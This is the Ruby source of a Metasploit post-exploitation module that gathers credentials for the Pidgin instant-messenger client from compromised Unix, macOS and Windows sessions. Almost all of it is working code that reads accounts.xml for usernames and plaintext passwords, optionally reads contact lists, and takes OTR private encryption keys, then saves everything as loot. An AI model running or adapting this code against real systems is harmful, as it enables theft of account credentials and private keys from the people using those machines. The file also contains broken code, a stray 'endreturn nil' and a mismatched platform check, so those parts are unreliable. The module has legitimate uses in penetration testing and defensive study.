##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'

class Metasploit3 < Msf::Post

	include Msf::Post::File
	include Msf::Post::Windows::UserProfiles

	def initialize(info={})
		super( update_info(info,
			'Name'           => 'Multi Gather Pidgin Instant Messenger Credential Collection',
			'Description'    => %q{
				This module will collect credentials from the Pidgin IM client if it is installed.
				},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'bannedit', # post port, added support for shell sessions
					'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
				],
			'Platform'       => ['unix', 'bsd', 'linux', 'osx', 'win'],
			'SessionTypes'   => ['shell', 'meterpreter' ]
		))
		register_options(
			[
				OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
				# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
			], self.class)
	end

# TODO add support for collecting logs
	def run
		paths = []
		case session.platform
		when /unix|linux|bsd/
			@platform = :unix
			paths = enum_users_unix
		when /osx/
			@platform = :osx
			paths = enum_users_unix
		when /win/
			@platform = :win
			profiles = grab_user_profiles()
			profiles.each do |user|
				next if user['AppData'] == nil
				pdir = check_pidgin(user['AppData'])
				paths << pdir if pdir
			end
		else
			print_error "Unsupported platform #{session.platform}"
			return
		end
		if paths.nil? or paths.empty?
			print_status("No users found with a .purple directory")
			return
		end

		get_pidgin_creds(paths)

	end

	def enum_users_unix
		if @platform == :osx
			home = "/Users/"
		else
			home = "/home/"
		end

		if got_root?
			userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
			userdirs << "/root\n"
		else
			userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
			if userdirs =~ /No such file/i
				return
			else
				print_status("Found Pidgin profile for: #{whoami}")
				return ["#{home}#{whoami}/.purple"]
			end
		end

		paths = Array.new
		userdirs.each_line do |dir|
			dir.chomp!
			next if dir == "." || dir == ".."

			dir = "#{home}#{dir}" if dir !~ /root/
			print_status("Checking for Pidgin profile in: #{dir}")

			stat = session.shell_command("ls #{dir}/.purple")
			next if stat =~ /No such file/i
			paths << "#{dir}/.purple"
		end
		return paths
	end



	def check_pidgin(purpledir)
		path = ""
		print_status("Checking for Pidgin profile in: #{purpledir}")
		session.fs.dir.foreach(purpledir) do |dir|
			if dir =~ /\.purple/
				if @platform == :win
					print_status("Found #{purpledir}\\#{dir}")
					path = "#{purpledir}\\#{dir}"
				else
					print_status("Found #{purpledir}/#{dir}")
					path = "#{purpledir}/#{dir}"
				end
				return path
			end
		end
		return nil
		endreturn nil
	end

	def get_pidgin_creds(paths)
		case paths
			when /#{@user}\\(.*)\\/
				sys_user = $1
			when /home\/(.*)\//
				sys_user = $1
		end

		data = ""
		credentials = Rex::Ui::Text::Table.new(
		'Header'    => "Pidgin Credentials",
		'Indent'    => 1,
		'Columns'   =>
		[
			"System User",
			"Username",
			"Password",
			"Protocol",
			"Server",
			"Port"
		])

		buddylists = Rex::Ui::Text::Table.new(
		'Header'    => "Pidgin Contact List",
		'Indent'    => 1,
		'Columns'   =>
		[
			"System User",
			"Buddy Name",
			"Alias",
			"Protocol",
			"Account"
		])

		paths.each do |path|
			print_status("Reading accounts.xml file from #{path}")
			if session.type == "shell"
				type = :shell
				data = session.shell_command("cat #{path}/accounts.xml")
			else
				type = :meterp
				accounts = session.fs.file.new("#{path}\\accounts.xml", "rb")
				until accounts.eof?
					data << accounts.read
				end
			end

			creds = parse_accounts(data)

			if datastore['CONTACTS']
				blist = ""
				case type
				when :shell
					blist = session.shell_command("cat #{path}/blist.xml")
				when :meterp
					buddyxml = session.fs.file.new("#{path}/blist.xml", "rb")
					until buddyxml.eof?
						blist << buddyxml.read
					end
				end

				buddies = parse_buddies(blist)
				end

			creds.each do |cred|
				credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
			end

			if buddies
				buddies.each do |buddy|
					buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
				end
			end

			#Grab otr.private_key
			otr_key = ""
			if session.type == "shell"
				otr_key = session.shell_command("cat #{path}/otr.private_key")
			else
				key_file = "#{path}/otr.private_key"
				otrkey = session.fs.file.stat(key_file) rescue nil
				if otrkey
					f = session.fs.file.new(key_file, "rb")
					until f.eof?
						otr_key << f.read
					end
				else
					otr_key = "No such file"
				end
			end

			if otr_key !~ /No such file/
				print_status("OTR Key: #{otr_key.to_s}")
				store_loot("otr.private_key", "text/plain", session, otr_key.to_s, "otr.private_key", "otr.private_key")
			end


		end

		if datastore['CONTACTS']
			store_loot("pidgin.contacts", "text/plain", session, buddylists.to_csv, "pidgin_contactlists.txt", "Pidgin Contacts")
		end

		store_loot("pidgin.creds", "text/plain", session, credentials.to_csv, "pidgin_credentials.txt", "Pidgin Credentials")
	end

	def parse_accounts(data)

		creds = []
		doc = REXML::Document.new(data).root

		doc.elements.each("account") do |sub|
			account = {}
			if sub.elements['password']
				account['password'] = sub.elements['password'].text
			else
				account['password'] = "<unknown>"
			end

			account['protocol'] = sub.elements['protocol'].text rescue "<unknown>"
			account['user'] = sub.elements['name'].text rescue "<unknown>"
			account['server'] = sub.elements['settings'].elements["setting[@name='server']"].text rescue "<unknown>"
			account['port'] = sub.elements['settings'].elements["setting[@name='port']"].text rescue "<unknown>"
			creds << account

			print_status("Collected the following credentials:")
			print_status("    Server: %s:%s" % [account['server'], account['port']])
			print_status("    Protocol: %s" % account['protocol'])
			print_status("    Username: %s" % account['user'])
			print_status("    Password: %s" % account['password'])
			print_line("")
		end

		return creds
	end

	def parse_buddies(data)
		buddies = []

		doc = REXML::Document.new(data).root
		doc.elements['blist'].elements.each('group') do |group|
			group.elements.each('contact') do |bcontact|
				contact = {}
				contact['name'] = bcontact.elements['buddy'].elements['name'].text rescue "<unknown>"
				contact['account'] = bcontact.elements['buddy'].attributes['account'] rescue "<unknown>"
				contact['protocol'] = bcontact.elements['buddy'].attributes['proto'] rescue "<unknown>"

				if bcontact.elements['buddy'].elements['alias']
					contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
				else
					contact['alias'] = "<unknown>"
				end

				buddies << contact
				print_status("Collected the following contacts:")
				print_status("    Buddy Name: %s" % contact['name'])
				print_status("    Alias: %s" % contact['alias'])
				print_status("    Protocol: %s"  % contact['protocol'])
				print_status("    Account: %s"  % contact['account'])
				print_line("")
			end
		end

		return buddies
	end

	def got_root?
		case @platform
		when :windows
			if session.sys.config.getuid =~ /SYSTEM/
				return true
			else
				return false
			end
		else # unix, bsd, linux, osx
			ret = whoami
			if ret =~ /root/
				return true
			else
				return false
			end
		end
	end

	def whoami
		if @platform == :windows
			session.fs.file.expand_path("%USERNAME%")
		else
			session.shell_command("whoami").chomp
		end
	end
end
